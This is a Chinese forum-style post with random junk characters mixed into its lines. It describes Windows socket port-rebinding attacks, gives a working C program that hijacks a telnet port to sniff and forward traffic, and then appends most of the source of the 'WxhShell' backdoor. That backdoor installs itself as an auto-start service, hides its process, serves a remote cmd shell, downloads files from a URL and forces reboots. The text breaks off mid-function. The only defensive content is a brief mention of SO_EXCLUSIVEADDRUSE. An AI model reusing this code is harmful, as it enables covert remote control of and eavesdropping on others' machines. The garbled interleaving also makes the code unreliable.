在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p\wJD1s s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Hx^!:kxk f<i7@% saddr.sin_family = AF_INET;
Rg29 F9c`({6k saddr.sin_addr.s_addr = htonl(INADDR_ANY);
RnVtZ#SCh O|kKwadC bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
JL}\* !yjo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%kf>&b,Mi 0m[dP 这意味着什么?意味着可以进行如下的攻击:
\a"Ct' u]C`6)> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
O(2cWQ BOlAm*tFt 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
i< (s}wg QrD o|GtE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(lA.3 4.p VCNT4m 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
RR1A65B \`'KlF2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Qx|H1_6 `znB7VQ0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
q)u2Y] @b&84Gn2
r 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
78#!Q.## $<@\-vYvr@ #include
]7sx;KFv #include
6,Hqb<( #include
1.@vS&Y7OE #include
\v@({nB8 DWORD WINAPI ClientThread(LPVOID lpParam);
Z{-Lc68 int main()
xtV[p4U {
,cTgR78' WORD wVersionRequested;
"yb WDWu DWORD ret;
z,;;=V6j WSADATA wsaData;
>hMUr*j BOOL val;
LDT(]HJ SOCKADDR_IN saddr;
~yJ4qp- SOCKADDR_IN scaddr;
%:6?Y%`*[ int err;
AWr}"r?s SOCKET s;
=Cf] SOCKET sc;
db=$zIB[: int caddsize;
qG8s;_G HANDLE mt;
r >{G`de4 DWORD tid;
,1n
>U?5 wVersionRequested = MAKEWORD( 2, 2 );
!jX4`/n2 err = WSAStartup( wVersionRequested, &wsaData );
`qpc*enf0 if ( err != 0 ) {
MKGS`X]<J printf("error!WSAStartup failed!\n");
={(j`VSUX0 return -1;
Q}%tt=KD }
Hy;Hs# saddr.sin_family = AF_INET;
AG"l1wz 7l8[xV
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E+_&HG}a 3&&+YX saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
bPD)D'Hs saddr.sin_port = htons(23);
9
wa,k if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]o.vB}WsY {
6/ g%\ka printf("error!socket failed!\n");
ZwI
1* f return -1;
jrJR1npB }
X'sEE val = TRUE;
A;K(J4y* //SO_REUSEADDR选项就是可以实现端口重绑定的
g9tu%cIkR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Eyh|a.)- {
8m=Z|"H@ printf("error!setsockopt failed!\n");
0Vv9BL{ return -1;
*DeTqO65 }
HB&
& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
<)m%*9{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:{g7lTM //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g#^|oYuH6 /F[+13C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
tn<6:@T
{
M8W# io ret=GetLastError();
#Fd W/y5 printf("error!bind failed!\n");
DQ!J!ltQ return -1;
3><u*0qe%I }
9w~cvlv[ listen(s,2);
I=dGq;Jaz while(1)
D!>
d0k,Y {
e$l6gY caddsize = sizeof(scaddr);
LVtu*k //接受连接请求
4Kp L>'Q= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
L ^Y3=1#"g if(sc!=INVALID_SOCKET)
4I~i)EKy6 {
)qM|3], mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
d+2daKi if(mt==NULL)
]
pPz@@xx {
tm)*2lH6 printf("Thread Creat Failed!\n");
b](o]O{v break;
[B/0-(? }
# mT]j"" }
jz:gr=*z CloseHandle(mt);
ai ftlY }
Bku'H closesocket(s);
uDG+SdyN@ WSACleanup();
SE `l(-tL return 0;
&sOM>^SAD }
E20&hc5 8 DWORD WINAPI ClientThread(LPVOID lpParam)
ia{kab|_5 {
T!^Mvat SOCKET ss = (SOCKET)lpParam;
}=GM?,7b SOCKET sc;
Ti= 3y497S unsigned char buf[4096];
" ~$$ SOCKADDR_IN saddr;
1kFjas`g long num;
[8]m8=n DWORD val;
X ,
ZeD DWORD ret;
"E PD2,%S //如果是隐藏端口应用的话,可以在此处加一些判断
HhSjR%6HY; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
} p'8w\C$ saddr.sin_family = AF_INET;
=7jEz+w# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
l1-HO saddr.sin_port = htons(23);
qi=3L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:c4kBl%gJ {
pCt}66k} printf("error!socket failed!\n");
Fj=NiZ= return -1;
!IAKVQ }
DX@}!6|T val = 100;
FBYODw if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
km>o7V&4G {
Npa-$N&P{S ret = GetLastError();
rz6jx return -1;
b=LF%P }
k&GHu0z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6E+=Xi {
&BgU:R, ret = GetLastError();
5u,sx664 return -1;
R;THA! }
JSjYC0e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
q|{tQJfYg {
k>{-[X,/OV printf("error!socket connect failed!\n");
Z=9dMND closesocket(sc);
G[6=u|(M closesocket(ss);
tA qs2 return -1;
< l[`"0 }
|R~;&x: while(1)
U42\.V0 {
6FjVmje //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
q<XcOc5 //如果是嗅探内容的话,可以再此处进行内容分析和记录
7Po/_% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
s/S+ ec3 num = recv(ss,buf,4096,0);
L?f qcW{ if(num>0)
1URsHV!xcM send(sc,buf,num,0);
bOXh|u_3i else if(num==0)
ZjD2u8e break;
@3 "DBJ num = recv(sc,buf,4096,0);
cEi<}9r if(num>0)
a;p6?kv send(ss,buf,num,0);
Ihef$, else if(num==0)
LXxl ?D break;
lIl9ypikg }
P1QB`&8F closesocket(ss);
eCL?mh K closesocket(sc);
2{};6{yz return 0 ;
ayH>XwY6 }
y''V"Be <4NQL*|> zjWyGt(Q ==========================================================
}85#[~m' ^'Zh;WjI7 下边附上一个代码,,WXhSHELL
SRk7gfP*q r %xB8e9 ==========================================================
j?J=w=.Nx ~%G Ssm\J #include "stdafx.h"
* D3 w{ m#Yt #include <stdio.h>
4H9xO[iM #include <string.h>
Kz^ hQd #include <windows.h>
h>Rpb#] #include <winsock2.h>
_6I >+9#C #include <winsvc.h>
SD I,M #include <urlmon.h>
zf")|9j 7eH@n<]Y2 #pragma comment (lib, "Ws2_32.lib")
/2'c> #pragma comment (lib, "urlmon.lib")
qid1b
b "2K|#,%N #define MAX_USER 100 // 最大客户端连接数
V,'FlU #define BUF_SOCK 200 // sock buffer
%>NRna #define KEY_BUFF 255 // 输入 buffer
ndt8=6p
B2"+Hwbk #define REBOOT 0 // 重启
GD/nR4$ #define SHUTDOWN 1 // 关机
c=<v.J@K s @3zx #define DEF_PORT 5000 // 监听端口
Nuo<` 6mV@ Es,0'\m& #define REG_LEN 16 // 注册表键长度
%,E7vYjT% #define SVC_LEN 80 // NT服务名长度
fa.f(c L%4tw5*N // 从dll定义API
C$0ITw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.?7So3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
2X +7bM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
$pJ3xp& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{Bv`i8e kjfxjAS=m // wxhshell配置信息
BC&^]M struct WSCFG {
ix+x3OCip int ws_port; // 监听端口
33S`aJ char ws_passstr[REG_LEN]; // 口令
@) ]t8( int ws_autoins; // 安装标记, 1=yes 0=no
~l@%=/m char ws_regname[REG_LEN]; // 注册表键名
0MhxFoFO char ws_svcname[REG_LEN]; // 服务名
GYTbeY char ws_svcdisp[SVC_LEN]; // 服务显示名
c{ZqQtfM char ws_svcdesc[SVC_LEN]; // 服务描述信息
"N]WL5$i char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6q!7i%fK? int ws_downexe; // 下载执行标记, 1=yes 0=no
8^NE=)cb7w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fjG /dhr char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/XC;.dLA# aGe \.A= };
Pyit87h{ r]Z.`}Kkm // default Wxhshell configuration
T&e%/ struct WSCFG wscfg={DEF_PORT,
[kQ"6wh8 "xuhuanlingzhe",
gB'`I(q5. 1,
1W4H-/Re "Wxhshell",
%0go%_ "Wxhshell",
P}b Dn; "WxhShell Service",
\>_eEZ5 "Wrsky Windows CmdShell Service",
<kk'v'GW@ "Please Input Your Password: ",
72%
{Wh/ 1,
~9]Vy
(L "
http://www.wrsky.com/wxhshell.exe",
1gO//fdI "Wxhshell.exe"
IrUpExJ };
9 ?[4i' rUhWZta // 消息定义模块
)Ep@$Gv|S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-1dIZy char *msg_ws_prompt="\n\r? for help\n\r#>";
yzODF>KJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:
,|=Q} char *msg_ws_ext="\n\rExit.";
(u$!\fE-et char *msg_ws_end="\n\rQuit.";
c lq
<$-
char *msg_ws_boot="\n\rReboot...";
4_Tb)?L+: char *msg_ws_poff="\n\rShutdown...";
!G@V<'F char *msg_ws_down="\n\rSave to ";
p` ^:Q*C" :Fq2x_IUE char *msg_ws_err="\n\rErr!";
ei(|5h char *msg_ws_ok="\n\rOK!";
R#rh \Gv- sA char ExeFile[MAX_PATH];
s"gKonwI2 int nUser = 0;
4ZSfz#<[z HANDLE handles[MAX_USER];
K4BTk! int OsIsNt;
iFXUKGiV 4d,qXSKty SERVICE_STATUS serviceStatus;
h:eN>yW SERVICE_STATUS_HANDLE hServiceStatusHandle;
w`2_6[,9 g5?r9e // 函数声明
YeR7*[l int Install(void);
"`H=AX0 int Uninstall(void);
>IR`] int DownloadFile(char *sURL, SOCKET wsh);
pU[a[ int Boot(int flag);
t>fA!K%{ void HideProc(void);
aA!@;rR<yU int GetOsVer(void);
8JFnB(3xU int Wxhshell(SOCKET wsl);
t ;bZc s void TalkWithClient(void *cs);
&C!g(fS int CmdShell(SOCKET sock);
|YMzp8Da( int StartFromService(void);
n/,rn>k7: int StartWxhshell(LPSTR lpCmdLine);
:cIu?7A .oW~:mY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
f[wjur VOID WINAPI NTServiceHandler( DWORD fdwControl );
G=+!d&mbg U<#$w{d: // 数据结构和表定义
YLr%vnO*NS SERVICE_TABLE_ENTRY DispatchTable[] =
j=zU7wz)D {
T(t
<Ay?c {wscfg.ws_svcname, NTServiceMain},
[0(
E>vm {NULL, NULL}
{3_F fsg` };
j@!BOL~? c9>8IW // 自我安装
x|P<F 2L int Install(void)
u k>q\j {
T=iZ9w char svExeFile[MAX_PATH];
4C2>0O<^s HKEY key;
@Wlwt+;fT strcpy(svExeFile,ExeFile);
i:NJ>b aH~x7N6! // 如果是win9x系统,修改注册表设为自启动
Z &ua,:5 if(!OsIsNt) {
0D W'(#` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l#<}|b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
BHiw!S< RegCloseKey(key);
S0X.8Bq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^$T!@+: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.F=<r-0 RegCloseKey(key);
N
P0Hgd return 0;
I{Y
{ }
kM}ic(K }
Z:r$;`K/ }
oqQ? 2k<@ else {
3<Pyr-z h bRY4yT // 如果是NT以上系统,安装为系统服务
^+Y-=2u: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.T
N`p* if (schSCManager!=0)
bHlD m~5 {
-O5(% SC_HANDLE schService = CreateService
A$$R_3ne (
RLeSA\di schSCManager,
%<bG%V( wscfg.ws_svcname,
Q:Nwy(,I wscfg.ws_svcdisp,
2!"\;/ SERVICE_ALL_ACCESS,
O_%PBgcJr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@pEO@bbg> SERVICE_AUTO_START,
EzeDShN=J SERVICE_ERROR_NORMAL,
9cx!N,R t svExeFile,
GwU>o:g" NULL,
vb80J<4 NULL,
b*F :l# NULL,
AU${0#WV_ NULL,
MSrY*)n!>O NULL
F"HI>t)> );
/^es0$Co. if (schService!=0)
nP3;<*T P0 {
WPh |~]by< CloseServiceHandle(schService);
Wvzzjcr(j CloseServiceHandle(schSCManager);
o )}< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!xx>
lX5 strcat(svExeFile,wscfg.ws_svcname);
\p=W4W/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`!>dbR&1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Jr*S2z<* RegCloseKey(key);
U{:(j5m return 0;
Z2pN<S{5 }
\w@_(4")Qb }
Rs(CrB/M CloseServiceHandle(schSCManager);
H--*[3". }
q4#f
*] }
Y|qixpP 9OO_Hp#|9 return 1;
6pdl,5[x- }
Lb3K};SIV 2
vJ[vsrFv // 自我卸载
0qV*d int Uninstall(void)
fG[3%e {
DJ2]NA$Q* HKEY key;
*Yk8Mj^_h e7)%=F/) if(!OsIsNt) {
(8eNZ*+mO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=='{[[J RegDeleteValue(key,wscfg.ws_regname);
1p"EE~v RegCloseKey(key);
i2%m}S;D9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,B/p1^;. RegDeleteValue(key,wscfg.ws_regname);
4>wIF }\ RegCloseKey(key);
lVp~oZC6[ return 0;
h9OL%n 7m' }
0)] C&;}_M }
SYW=L }
1j)!d$8 else {
:"+UG-S$6 meVVRFQ2+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
QmkC~kK1. if (schSCManager!=0)
>7Sl(
UY- {
LK-6z w5=( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
H6 f; BS if (schService!=0)
_2Xu1q.6~5 {
_=^hnv if(DeleteService(schService)!=0) {
m-KK
{{ CloseServiceHandle(schService);
elHarey`f CloseServiceHandle(schSCManager);
LXfeXWw?, return 0;
{ `|YX_HS }
,5+X%~' CloseServiceHandle(schService);
j'Q-*-3 }
{'Qk>G
s CloseServiceHandle(schSCManager);
(l!D=qy }
MHT,rqG }
w5/X{ `zOAltfd return 1;
<B{VL8IA> }
Wv*BwiQ ~m09yc d< // 从指定url下载文件
V1b_z int DownloadFile(char *sURL, SOCKET wsh)
O> ^~SO {
D>#v 6XI HRESULT hr;
F@(}=w^(A char seps[]= "/";
w wRT$-! char *token;
![D,8]GD char *file;
LsD9hb7 char myURL[MAX_PATH];
]!J3?G char myFILE[MAX_PATH];
{$TB#=G WyJfF=< strcpy(myURL,sURL);
A=[f>8 token=strtok(myURL,seps);
96E7hp !: while(token!=NULL)
>@89k^#Vc {
8\V>6^3CD$ file=token;
T]Td4T! token=strtok(NULL,seps);
qsRfG~Cg }
"91Atb;hJ W]Y!ZfGnN GetCurrentDirectory(MAX_PATH,myFILE);
LW
3J$Am strcat(myFILE, "\\");
A_*Lo6uII strcat(myFILE, file);
9n\#s~, send(wsh,myFILE,strlen(myFILE),0);
-/7=\kao% send(wsh,"...",3,0);
h+u|MdOY\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ez:o9)N4 if(hr==S_OK)
IV#My9}e return 0;
]}L1W`n else
#V,~d&_k return 1;
xjk|O;ak S^`9[$KH0 }
Ty|c@X F*( A; N_y // 系统电源模块
pC.4AkEO int Boot(int flag)
Py0i%pZ {
)n[Mh!mn HANDLE hToken;
<mgTWv TOKEN_PRIVILEGES tkp;
1Kf
t?g lGBdQc]IL if(OsIsNt) {
ITqigGan% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
bme#G{[)Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<21^{ yt1 tkp.PrivilegeCount = 1;
5@rqU(]< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)w?$~q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
im[gbac if(flag==REBOOT) {
"/-v 9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
x]+KO)I return 0;
Y+yvv{01 }
n.UM+2G else {
>#n-4NZ;p9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ZO6bG$y64 return 0;
g
UAPjR }
qa`(,iN }
A-!qO|E[- else {
R$m?&1K if(flag==REBOOT) {
/,%o<Ql9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~e~Mx=FT0 return 0;
$=SYssg7La }
^M5uLm-_s else {
"8TMAF|i4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a2_IF,p*? return 0;
\~j(ui| }
]_xGVwem }
0]0M>vx
u `ViNSr):J return 1;
:>ST)Y@]w }
SLA~F?t N!&VBx^z // win9x进程隐藏模块
zvC,([ void HideProc(void)
"A`'~]/hE {
:%]R x&08 uQ+$Hzx X HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
V)jhyCL if ( hKernel != NULL )
' *C)S {
]-LE'Px| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
CnA)>4E*' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
emIbGkH FreeLibrary(hKernel);
Pg C]@Q% }
G"sc;nT m 4LM10 return;
RA67w& }
> o`RPWs @CUDD{1o // 获取操作系统版本
<"% h1{V int GetOsVer(void)
%4K#<b"W {
%d\+(:uu/ OSVERSIONINFO winfo;
A8Y~^wn winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
T`[ZNq+${ GetVersionEx(&winfo);
)`7h,w
J[1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5R
G5uH/-< return 1;
hrt-<7U else
u#|Jl|aT return 0;
_Hj,;Z }
Oip..f0 %=eD)p7l- // 客户端句柄模块
3iL&;D int Wxhshell(SOCKET wsl)
xF+x I6 {
aV,J_Q6r SOCKET wsh;
.;6bMP[YA struct sockaddr_in client;
.1lc'gu5y DWORD myID;
l6Bd<tSH Bn:sN_N while(nUser<MAX_USER)
pz =Wq4l {
xWV7#Z7 int nSize=sizeof(client);
G<1mj!{Vp wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"!?Ya{ if(wsh==INVALID_SOCKET) return 1;
d_B5@9e# W)O'( D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6E4 L4Vb if(handles[nUser]==0)
JwVv+9hh closesocket(wsh);
th|Q NG else
aX:$Q
}S nUser++;
6*
w;xf }
P .( X]+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Us.jyg7_c 1Xc%%j return 0;
ghiElsBU }
7|Y8^T
s t/(j8w // 关闭 socket
)}5rs void CloseIt(SOCKET wsh)
tgnXBWA`! {
n_glYSV! closesocket(wsh);
&t4(86Bmq nUser--;
Vd~k4 ExitThread(0);
+N:%`9}2V }
Zv7)+Q =v9;HPiO // 客户端请求句柄
SBt:
`, void TalkWithClient(void *cs)
inrL'z {
%)V3QnBO HrxEC)V6# SOCKET wsh=(SOCKET)cs;
5~QB.m,> char pwd[SVC_LEN];
RL9P:]
^ char cmd[KEY_BUFF];
U"Oq85vY char chr[1];
:wm^04<i int i,j;
$<PVzW,$o \ S R while (nUser < MAX_USER) {
>O=V1 2[eY q1f! if(wscfg.ws_passstr) {
:{2$X|f
3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
x]T;W&s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u{ /gjv //ZeroMemory(pwd,KEY_BUFF);
24fWj?A| ^ i=0;
{ q<l]jn9 while(i<SVC_LEN) {
v>R.ou( =c'LG // 设置超时
A:Z:&(NtE: fd_set FdRead;
K.~U%v} struct timeval TimeOut;
5N/;'ySAE_ FD_ZERO(&FdRead);
)
|a5Qxz FD_SET(wsh,&FdRead);
V y$\.2= TimeOut.tv_sec=8;
~JiA TimeOut.tv_usec=0;
Fy^\U w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
uv!/DX# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0:EiCKb)ol K9=_}lS@' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
M#m7g4*L ! pwd
=chr[0]; #S)*MT4ke
if(chr[0]==0xd || chr[0]==0xa) { -d]z_
SP@
pwd=0; G$b4`wt
break; wwz<c5
} `OWB@_u5
i++; ?~Des"F6)1
} -_(!
zO,sq%vQn'
// 如果是非法用户,关闭 socket hV)I
C9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MRc^lYj{
} 19 _F\32
5YasD6l
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zD'gGxM1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [#tW$^UD
/e\dsC{uJ
while(1) { y:L|]p}huE
"yumc5kt
ZeroMemory(cmd,KEY_BUFF); !p$V7pFu6
]jYM;e
// 自动支持客户端 telnet标准 >J1o@0tk
j=0; _%]H}N Q
while(j<KEY_BUFF) { ZpyRvDz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tznT*EQr
cmd[j]=chr[0]; jWz-7BO
if(chr[0]==0xa || chr[0]==0xd) { \?ZdUY
cmd[j]=0; JcP'+@X"
break; Jz6PqU|=
} `}bUf epMJ
j++; ?l/rg6mbI'
} x?kZD~|{)
uH#NJoRO
// 下载文件 ZI1RB fR
if(strstr(cmd,"http://")) { h;6@-\6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); BI
s!
if(DownloadFile(cmd,wsh)) :Z)s'd.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S.z ;Bm
else 7)T+!>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b#M<b.R)
} *QVE>{
else { \r2w@F{C
lc#H%Qlg
switch(cmd[0]) { DuWP)#kg
~gf$ L9
// 帮助 LLE~V~j
case '?': { e0TnA
N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &P;x<7h$t?
break; TsD
>m
} 1\2 m'o
// 安装 ]kPco4
case 'i': { Dj|S
if(Install()) I4hr5M3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jy?^an}#h
else nF-FoO98
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z6=!}a%
break; /H)g<YA
} >@X=E3
// 卸载 1;h>^NOq
case 'r': { l@Ki`if
if(Uninstall()) YW5E
| z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /X?Nv^Hy
else
Wi[Y@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ru&RL
HFV
break; !"kvXxp^
} .q=X58tHu
// 显示 wxhshell 所在路径 _YY)-H
case 'p': { sk5\"jna
char svExeFile[MAX_PATH]; rk~/^(!
strcpy(svExeFile,"\n\r"); 5*CwQJC<
strcat(svExeFile,ExeFile); 4Vs;Y&t]
send(wsh,svExeFile,strlen(svExeFile),0); y|aWUX/a
break; yD KX,
} ]8^2(^3ct
// 重启 XEuv
aM
case 'b': { Vf@/}=X *
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2#R"#Q!
if(Boot(REBOOT)) FR <wp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eZv0"FK
X
else { t!k 0n&P
closesocket(wsh); 9we=aX5
ExitThread(0); rEViw?^KT
} S.I<Hs
break; <[q)2 5RL
} A-~)7-
// 关机 gp}S 1
case 'd': { DFiexOb
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5u&jNU5m_
if(Boot(SHUTDOWN)) mB\5bSFY`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u,C-U!A
else { b&ADj8cKC
closesocket(wsh); vH=I#Ajar
ExitThread(0); G$Dg*<
} 41.+3VP
break; @f$P*_G
} 2|cIu ' U
// 获取shell H$;\TG@,
case 's': { ,"/_G
CmdShell(wsh); ]
=D+a&
closesocket(wsh); /; _"A)0
ExitThread(0); !>+
0/
break; e0qa~5
} :sn}D~
// 退出 `SVR_
case 'x': { Pk,^q8;
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FUH1Z+9
CloseIt(wsh); ^b%AwzHH}
break; 1/gh\9h
} UeRenp
// 离开 s"'1|^od
case 'q': { 7yc:=^ )
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?]})Xf.A
closesocket(wsh); [AU1JO`\"
WSACleanup(); *f[`Yv
exit(1); K@fxCj*}
break; i{,>2KVC|
} xW09k6
} 2|T@
} mMMu'N
464Z0C
// 提示信息 n_!&Wr^CX
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UKzmRa,s
} &@RU}DnvM&
} ^cY5!W.q8
c(~M<nL0
return; 5E%W;$3Pb
} HiWZ?G
[)a,rrhj
// shell模块句柄 GY!&H"%
int CmdShell(SOCKET sock) _x lgsa
{ `wq\K8v
STARTUPINFO si; 7W>T=
@
ZeroMemory(&si,sizeof(si)); Op|Be
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BG|Kw)z*KM
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \/5 8#
PROCESS_INFORMATION ProcessInfo; 3"B|w^6'2
char cmdline[]="cmd"; \&cVcAg
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1
4|S^UM$
return 0; ZHZ>YSqCS
} )JjfPb64
z`BRz&
// 自身启动模式 Fb_~{q
int StartFromService(void) o(a*Fk$
{ qaUHcdH
typedef struct 2Zl65
{ !~RD>N&n
DWORD ExitStatus; bi_R.sfK&
DWORD PebBaseAddress; J/mLB7^R
DWORD AffinityMask; IXH;QwR:
